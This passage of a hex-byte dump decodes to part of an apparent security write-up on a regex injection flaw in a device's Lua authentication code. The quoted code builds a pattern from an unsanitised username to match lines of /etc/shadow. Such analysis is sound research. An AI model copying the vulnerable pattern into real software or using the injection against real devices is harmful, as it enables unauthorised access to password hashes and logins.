0x67, 0x29, 0x2C, 0x20, 0x73, 0x61, 0x6C, 0x74, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, 0x6E, 0x64, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x65, 0x6E, 0x64, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x6E, 0x69, 0x6C, 0x0A, 0x65, 0x6E, 0x64, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x44, 0x6F, 0x65, 0x73, 0x20, 0x69, 0x74, 0x20, 0x6C, 0x6F, 0x6F, 0x6B, 0x20, 0x77, 0x65, 0x69, 0x72, 0x64, 0x2C, 0x20, 0x65, 0x68, 0x3F, 0x3F, 0x20, 0x54, 0x68, 0x69, 0x73, 0x20, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x20, 0x6C, 0x6F, 0x6F, 0x70, 0x73, 0x20, 0x65, 0x61, 0x63, 0x68, 0x20, 0x6C, 0x69, 0x6E, 0x65, 0x20, 0x69, 0x6E, 0x73, 0x69, 0x64, 0x65, 0x20, 0x2A, 0x2A, 0x2F, 0x65, 0x74, 0x63, 0x2F, 0x73, 0x68, 0x61, 0x64, 0x6F, 0x77, 0x2A, 0x2A, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x6D, 0x61, 0x74, 0x63, 0x68, 0x65, 0x73, 0x20, 0x69, 0x74, 0x20, 0x61, 0x67, 0x61, 0x69, 0x6E, 0x73, 0x74, 0x20, 0x6F, 0x75, 0x72, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x2E, 0x20, 0x54, 0x68, 0x65, 0x20, 0x52, 0x65, 0x67, 0x45, 0x78, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x65, 0x76, 0x65, 0x6E, 0x74, 0x75, 0x61, 0x6C, 0x6C, 0x79, 0x20, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x6F, 0x6C, 0x6C, 0x6F, 0x77, 0x69, 0x6E, 0x67, 0x20, 0x70, 0x61, 0x74, 0x74, 0x65, 0x72, 0x6E, 0x3A, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x3A, 0x24, 0x61, 0x6C, 0x67, 0x6F, 0x72, 0x69, 0x74, 0x68, 0x6D, 0x24, 0x73, 0x61, 0x6C, 0x74, 0x24, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x0A, 0x49, 0x6E, 0x20, 0x6D, 0x79, 0x20, 0x6F, 0x70, 0x69, 0x6E, 0x69, 0x6F, 0x6E, 0x2C, 0x20, 0x77, 0x68, 0x61, 0x74, 0x20, 0x69, 0x73, 0x20, 0x72, 0x65, 0x61, 0x6C, 0x6C, 0x79, 0x20, 0x77, 0x72, 0x6F, 0x6E, 0x67, 0x20, 0x61, 0x62, 0x6F, 0x75, 0x74, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x6F, 0x75, 0x72, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x69, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x73, 0x61, 0x6E, 0x69, 0x74, 0x69, 0x7A, 0x65, 0x64, 0x2C, 0x20, 0x62, 0x75, 0x74, 0x20, 0x72, 0x61, 0x74, 0x68, 0x65, 0x72, 0x2C, 0x20, 0x69, 0x74, 0x27, 0x73, 0x20, 0x75, 0x73, 0x65, 0x64, 0x20, 0x61, 0x73, 0x20, 0x70, 0x61, 0x72, 0x74, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x52, 0x65, 0x67, 0x45, 0x58, 0x2C, 0x20, 0x77, 0x68, 0x69, 0x63, 0x68, 0x20, 0x6D, 0x65, 0x61, 0x6E, 0x73, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x69, 0x66, 0x20, 0x77, 0x65, 0x20, 0x66, 0x69, 0x6E, 0x64, 0x20, 0x61, 0x20, 0x77, 0x61, 0x79, 0x20, 0x74, 0x6F, 0x20, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x72, 0x75, 0x70, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x65, 0x67, 0x65, 0x78, 0x20, 0x77, 0x69, 0x74, 0x68, 0x6F, 0x75, 0x74, 0x20, 0x66, 0x75, 0x72, 0x74, 0x68, 0x65, 0x72, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x69, 0x6E, 0x67, 0x2C, 0x20, 0x77, 0x65, 0x20, 0x63, 0x61, 0x6E, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x20, 0x69, 0x74, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x77, 0x68, 0x61, 0x74, 0x65, 0x76, 0x65, 0x72, 0x20, 0x77, 0x65, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x61, 0x74, 0x63, 0x68, 0x20, 0x69, 0x6E, 0x73, 0x74, 0x65, 0x61, 0x64, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x61, 0x63, 0x74, 0x75, 0x61, 0x6C, 0x20, 0x2A, 0x61, 0x6C, 0x67, 0x2A, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x2A, 0x73, 0x61, 0x6C, 0x74, 0x2A, 0x2E, 0x0A, 0x41, 0x73, 0x20, 0x69, 0x74, 0x20, 0x74, 0x75, 0x72, 0x6E, 0x73, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x6C, 0x61, 0x74, 0x65, 0x72, 0x2C, 0x20, 0x74, 0x68, 0x65, 0x20, 0x4C, 0x75, 0x61, 0x20, 0x72, 0x65, 0x67, 0x65, 0x78, 0x20, 0x6C, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x20, 0x69, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x78, 0x20, 0x63, 0x6F, 0x6D, 0x70, 0x6C, 0x69, 0x61, 0x6E, 0x74, 0x2C, 0x20, 0x73, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x72, 0x65, 0x27, 0x73, 0x20, 0x6E, 0x6F, 0x20, 0x77, 0x61, 0x79, 0x20, 0x74, 0x6F, 0x20, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x72, 0x75, 0x70, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x65, 0x67, 0x65, 0x78, 0x20, 0x6F, 0x72, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x20, 0x69, 0x74, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x2F, 0x73, 0x74, 0x6F, 0x70, 0x2C, 0x20, 0x6E, 0x6F, 0x72, 0x20, 0x69, 0x73, 0x20, 0x6C, 0x6F, 0x6F, 0x6B, 0x2D, 0x61, 0x68, 0x65, 0x61, 0x64, 0x20, 0x6D, 0x61, 0x74, 0x63, 0x68, 0x69, 0x6E, 0x67, 0x20, 0x73, 0x75, 0x70, 0x70, 0x6F, 0x72, 0x74, 0x65, 0x64, 0x20, 0xF0, 0x9F, 0x98, 0x94, 0x2E, 0x0A, 0x0A, 0x4C, 0x75, 0x63, 0x6B, 0x69, 0x6C, 0x79, 0x2C, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x77, 0x61, 0x73, 0x20, 0x6F, 0x6E, 0x65, 0x20, 0x6F, 0x66, 0x20, 0x6D, 0x61, 0x6E, 0x79, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x73, 0x20, 0x77, 0x68, 0x65, 0x72, 0x65, 0x20, 0x72, 0x65, 0x67, 0x65, 0x78, 0x20, 0x69, 0x6E, 0x6A, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x77, 0x61, 0x73, 0x20, 0x70, 0x6F, 0x73, 0x73, 0x69, 0x62, 0x6C, 0x65, 0x2E, 0x20, 0x4C, 0x65, 0x74, 0x27, 0x73, 0x20, 0x6C, 0x6F, 0x6F, 0x6B, 0x20, 0x61, 0x74, 0x20, 0x68, 0x6F, 0x77, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x20, 0x73, 0x74, 0x65, 0x70, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x61, 0x75, 0x74, 0x68, 0x65, 0x6E, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x77, 0x6F, 0x72, 0x6B, 0x73, 0x2E, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x6C, 0x75, 0x61, 0x0A, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x20, 0x3D, 0x20, 0x7B, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x28, 0x72, 0x65, 0x71, 0x2C, 0x20, 0x6D, 0x73, 0x67, 0x29, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x68, 0x61, 0x73, 0x68, 0x20, 0x3D, 0x20, 0x6D, 0x73, 0x67, 0x2E, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x6D, 0x73, 0x67, 0x2E, 0x68, 0x61, 0x73, 0x68, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6C, 0x65, 0x61, 0x6E, 0x5F, 0x67, 0x6C, 0x5F, 0x74, 0x6F, 0x6B, 0x65, 0x6E, 0x28, 0x29, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x2E, 0x2E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x6F, 0x6D, 0x65, 0x20, 0x62, 0x6F, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x20, 0x68, 0x65, 0x72, 0x65, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x2E, 0x2E, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x20, 0x73, 0x69, 0x64, 0x20, 0x3D, 0x20, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x5F, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x28, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x68, 0x61, 0x73, 0x68, 0x29, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x73, 0x69, 0x64, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x5F, 0x66, 0x61, 0x69, 0x6C, 0x20, 0x3D, 0x20, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x5F, 0x66, 0x61, 0x69, 0x6C, 0x20, 0x2B, 0x20, 0x31, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x5F, 0x66, 0x61, 0x69, 0x6C, 0x20, 0x3D, 0x3D, 0x20, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x5F, 0x66, 0x61, 0x69, 0x6C, 0x5F, 0x6D, 0x61, 0x78, 0x5F, 0x63, 0x6E, 0x74, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x5F, 0x66, 0x61, 0x69, 0x6C, 0x20, 0x3D, 0x20, 0x30, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x5F, 0x77, 0x61, 0x69, 0x74, 0x20, 0x3D, 0x20, 0x74, 0x69, 0x6D, 0x65, 0x5F, 0x6E, 0x6F, 0x77, 0x28, 0x29, 0x20, 0x2B, 0x20, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x5F, 0x66, 0x61, 0x69, 0x6C, 0x5F, 0x77, 0x61, 0x69, 0x74, 0x5F, 0x74, 0x69, 0x6D, 0x65, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, 0x6E, 0x64, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x62, 0x75, 0x73, 0x5F, 0x63, 0x6F, 0x6E, 0x6E, 0x3A, 0x72, 0x65, 0x70, 0x6C, 0x79, 0x28, 0x72, 0x65, 0x71, 0x2C, 0x20, 0x7B, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x20, 0x3D, 0x20, 0x72, 0x70, 0x63, 0x2E, 0x45, 0x52, 0x52, 0x4F, 0x52, 0x5F, 0x43, 0x4F, 0x44, 0x45, 0x5F, 0x41, 0x43, 0x43, 0x45, 0x53, 0x53, 0x20, 0x7D, 0x29, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, 0x6E, 0x64, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x5F, 0x66, 0x61, 0x69, 0x6C, 0x20, 0x3D, 0x20, 0x30, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x74, 0x69, 0x6C, 0x73, 0x2E, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x5F, 0x6E, 0x67, 0x78, 0x5F, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x28, 0x22, 0x2F, 0x74, 0x6D, 0x70, 0x2F, 0x67, 0x6C, 0x5F, 0x74, 0x6F, 0x6B, 0x65, 0x6E, 0x5F, 0x22, 0x20, 0x2E, 0x2E, 0x20, 0x73, 0x69, 0x64, 0x29, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x2E, 0x2E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x69, 0x6C, 0x6C, 0x20, 0x6D, 0x6F, 0x72, 0x65, 0x20, 0x62, 0x6F, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x20, 0x68, 0x65, 0x72, 0x65, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x2E, 0x2E, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x65, 0x6E, 0x64, 0x2C, 0x20, 0x7B, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x20, 0x75, 0x62, 0x75, 0x73, 0x2E, 0x53, 0x54, 0x52, 0x49, 0x4E, 0x47, 0x2C, 0x20, 0x68, 0x61, 0x73, 0x68, 0x20, 0x3D, 0x20, 0x75, 0x62, 0x75, 0x73, 0x2E, 0x53, 0x54, 0x52, 0x49, 0x4E, 0x47, 0x20, 0x7D, 0x0A, 0x7D, 0x0A, 0x0A, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x5F, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x28, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x68, 0x61, 0x73, 0x68, 0x29, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x5F, 0x74, 0x65, 0x73, 0x74, 0x28, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x68, 0x61, 0x73, 0x68, 0x29, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x6E, 0x69, 0x6C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x65, 0x6E, 0x64, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x20, 0x61, 0x63, 0x6C, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x20, 0x3D, 0x20, 0x64, 0x62, 0x2E, 0x67, 0x65, 0x74, 0x5F, 0x61, 0x63, 0x6C, 0x5F, 0x62, 0x79, 0x5F, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x28, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x29, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x20, 0x73, 0x69, 0x64, 0x20, 0x3D, 0x20, 0x75, 0x74, 0x69, 0x6C, 0x73, 0x2E, 0x67, 0x65, 0x6E, 0x65, 0x72, 0x61, 0x74, 0x65, 0x5F, 0x69, 0x64, 0x28, 0x33, 0x32, 0x29, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x73, 0x5B, 0x73, 0x69, 0x64, 0x5D, 0x20, 0x3D, 0x20, 0x7B, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x63, 0x6C, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x20, 0x3D, 0x20, 0x61, 0x63, 0x6C, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x20, 0x3D, 0x20, 0x74, 0x69, 0x6D, 0x65, 0x5F, 0x6E, 0x6F, 0x77, 0x28, 0x29, 0x20, 0x2B, 0x20, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x5F, 0x74, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x5F, 0x63, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x5F, 0x63, 0x6E, 0x74, 0x20, 0x2B, 0x20, 0x31, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x73, 0x69, 0x64, 0x0A, 0x65, 0x6E, 0x64, 0x0A, 0x0A, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x5F, 0x74, 0x65, 0x73, 0x74, 0x28, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x68, 0x61, 0x73, 0x68, 0x29, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x6F, 0x72, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x3D, 0x20, 0x22, 0x22, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x20, 0x65, 0x6E, 0x64, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x6C, 0x20, 0x69, 0x6E, 0x20, 0x69, 0x6F, 0x2E, 0x6C, 0x69, 0x6E, 0x65, 0x73, 0x28, 0x22, 0x2F, 0x65, 0x74, 0x63, 0x2F, 0x73, 0x68, 0x61, 0x64, 0x6F, 0x77, 0x22, 0x29, 0x20, 0x64, 0x6F, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x6F, 0x63, 0x61, 0x6C, 0x20, 0x70, 0x77, 0x20, 0x3D, 0x20, 0x6C, 0x3A, 0x6D, 0x61, 0x74, 0x63, 0x68, 0x28, 0x27, 0x5E, 0x27, 0x20, 0x2E, 0x2E, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x2E, 0x2E, 0x20, 0x27, 0x3A, 0x28, 0x5B, 0x5E, 0x3A, 0x5D, 0x2B, 0x29, 0x27, 0x29, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x70, 0x77, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x6E, 0x6F, 0x6E, 0x63, 0x65, 0x20, 0x69, 0x6E, 0x20, 0x70, 0x61, 0x69, 0x72, 0x73, 0x28, 0x6E, 0x6F, 0x6E, 0x63, 0x65, 0x73, 0x29, 0x20, 0x64, 0x6F, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x75, 0x74, 0x69, 0x6C, 0x73, 0x2E, 0x6D, 0x64, 0x35, 0x28, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x2E, 0x63, 0x6F, 0x6E, 0x63, 0x61, 0x74, 0x28, 0x7B, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x2C, 0x20, 0x70, 0x77, 0x2C, 0x20, 0x6E, 0x6F, 0x6E, 0x63, 0x65, 0x7D, 0x2C, 0x20, 0x22, 0x3A, 0x22, 0x29, 0x29, 0x20, 0x3D, 0x3D, 0x20, 0x68, 0x61, 0x73, 0x68, 0x20, 0x74, 0x68, 0x65, 0x6E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6E, 0x6F, 0x6E, 0x63, 0x65, 0x73, 0x5B, 0x6E, 0x6F, 0x6E, 0x63, 0x65, 0x5D, 0x20, 0x3D, 0x20, 0x6E, 0x69, 0x6C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6E, 0x6F, 0x6E, 0x63, 0x65, 0x5F, 0x63, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x6E, 0x6F, 0x6E, 0x63, 0x65, 0x5F, 0x63, 0x6E, 0x74, 0x20, 0x2D, 0x20, 0x31, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x74, 0x72, 0x75, 0x65, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, 0x6E, 0x64, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, 0x6E, 0x64, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, 0x6E, 0x64, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x65, 0x6E, 0x64, 0x0A, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x0A, 0x65, 0x6E, 0x64, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x0A, 0x54, 0x68, 0x69, 0x73, 0x20, 0x74, 0x69, 0x6D, 0x65, 0x2C, 0x20, 0x74, 0x68, 0x65, 0x20, 0x52, 0x65, 0x67, 0x45, 0x78, 0x20, 0x69, 0x6E, 0x6A, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x68, 0x61, 0x70, 0x70, 0x65, 0x6E, 0x73, 0x20, 0x69, 0x6E, 0x73, 0x69, 0x64, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x2A, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x5F, 0x74, 0x65, 0x73, 0x74, 0x2A, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x3B, 0x20, 0x69, 0x74, 0x20, 0x74, 0x72, 0x69, 0x65, 0x73, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x61, 0x74, 0x63, 0x68, 0x20, 0x65, 0x76, 0x65, 0x72, 0x79, 0x74, 0x68, 0x69, 0x6E, 0x67, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x69, 0x72, 0x73, 0x74, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x6E, 0x20, 0x28, 0x74, 0x68, 0x65, 0x20, 0x68, 0x61, 0x73, 0x68, 0x65, 0x64, 0x20, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x29, 0x20, 0x75, 0x6E, 0x74, 0x69, 0x6C, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6E, 0x65, 0x78, 0x74, 0x20, 0x6F, 0x6E, 0x65, 0x2E, 0x0A, 0x4C, 0x75, 0x63, 0x6B, 0x69, 0x6C, 0x79, 0x2C, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x74, 0x69, 0x6D, 0x65, 0x2C, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x65, 0x67, 0x65, 0x78, 0x20, 0x69, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x20, 0x65, 0x6E, 0x6F, 0x75, 0x67, 0x68, 0x20, 0x27, 0x63, 0x61, 0x75, 0x73, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x75, 0x73, 0x75, 0x61, 0x6C, 0x20, 0x6C, 0x69, 0x6E, 0x65, 0x73, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x2A, 0x2A, 0x2F, 0x65, 